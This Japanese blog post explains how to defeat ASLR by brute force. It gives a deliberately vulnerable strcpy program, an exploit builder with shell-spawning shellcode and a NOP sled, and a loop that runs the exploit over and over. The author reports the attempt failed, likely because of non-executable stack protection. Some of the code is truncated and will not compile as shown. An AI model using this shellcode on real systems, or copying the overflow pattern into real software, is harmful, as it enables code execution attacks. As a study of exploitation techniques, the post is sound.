なんかいろいろこんぴゅーたかんけいのなぐりがき

なんか勉強しているこんぴゅーた関係のことのメモやそれ以外のことを書こうかなあ...

logs

スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。

ブルートフォースによるASLRの回避

 ASLRを切り抜ける方法の1つにブルートフォースがある。この内容は簡単で、ASLRによりプロセス毎にスタックの開始アドレスがランダムで決まる訳だが、ブルートフォースによる攻撃はこれをムシしてひたすら脆弱性を突くコードを実行しまくる。そうすればそのうちたまたまランダム化されたアドレスとバッファーオーバーフローにより上書きしたアドレスが一致するはずなので攻撃が成り立つ。もちろんこの攻撃を成功させるには時間かかるのだが32bitのアドレス空間では案外現実的な時間で攻撃が成功するようである。逆に64bit空間になってしまうと攻撃を成功させるのはかなり難しくなるだろう。

#include

void func(char *args)
{
char buff[4096];
strcpy(buff,args);
}

main(int argc,char **argv)
{
func(argv[1]);
}

↑が脆弱性のあるプログラム vul.c

#include
#include

#define NOP 0x90

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

main(int argc,char **argv[])
{
char *buff,*ptr;
long *adr_ptr,adr;
int i;
int bgr = atoi(argv[1]) + 8;
int offset = atoi(argv[2]);
buff = malloc(bgr);
adr = 0xbf010101 + offset;
for(i=0;i {
buff[i] = NOP;
}
ptr = buff+bgr-8;
adr_ptr = (long *)ptr;
for(i=0;i<8;i+=4)
{
*(adr_ptr) = adr;
}
ptr = buff+bgr-8-strlen(shellcode);
for(i=0;i {
*(ptr++) = shellcode[i];
}
buff[bgr] = '\0';
puts(buff);
}

↑送り込むバッファ内容を作り出力する bfexploit.c

while [ 0 ]; do
./vul `bfexploit 4096 $i`
i=$(($i + 2048))
if [ $i -gt 16777216 ]; then
i=0
fi
done;

↑ブルートフォースを実行するシェルスクリプト

実際にUbuntuとMac OSXに対してこの攻撃を30分程行ったところ攻撃は失敗終わった。
原因は運悪くアドレスを当てることができなかった、他のプロテクションが働いていた、そもそもこの攻撃コードが間違っている等複数考えられるが、一番可能性として高いのが他のプロテクションが働いていることで、おそらく実験に使用した両OSともスタック上のコードを実行できなくするプロテクションがはたらいているのだろう。

スポンサーサイト

トラックバックURL

http://ilovevim.blog42.fc2.com/tb.php/17-86969f51

この記事へのトラックバック

この記事へのコメント

コメント投稿フォーム

Paging Navigation

Navigations, etc.

上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。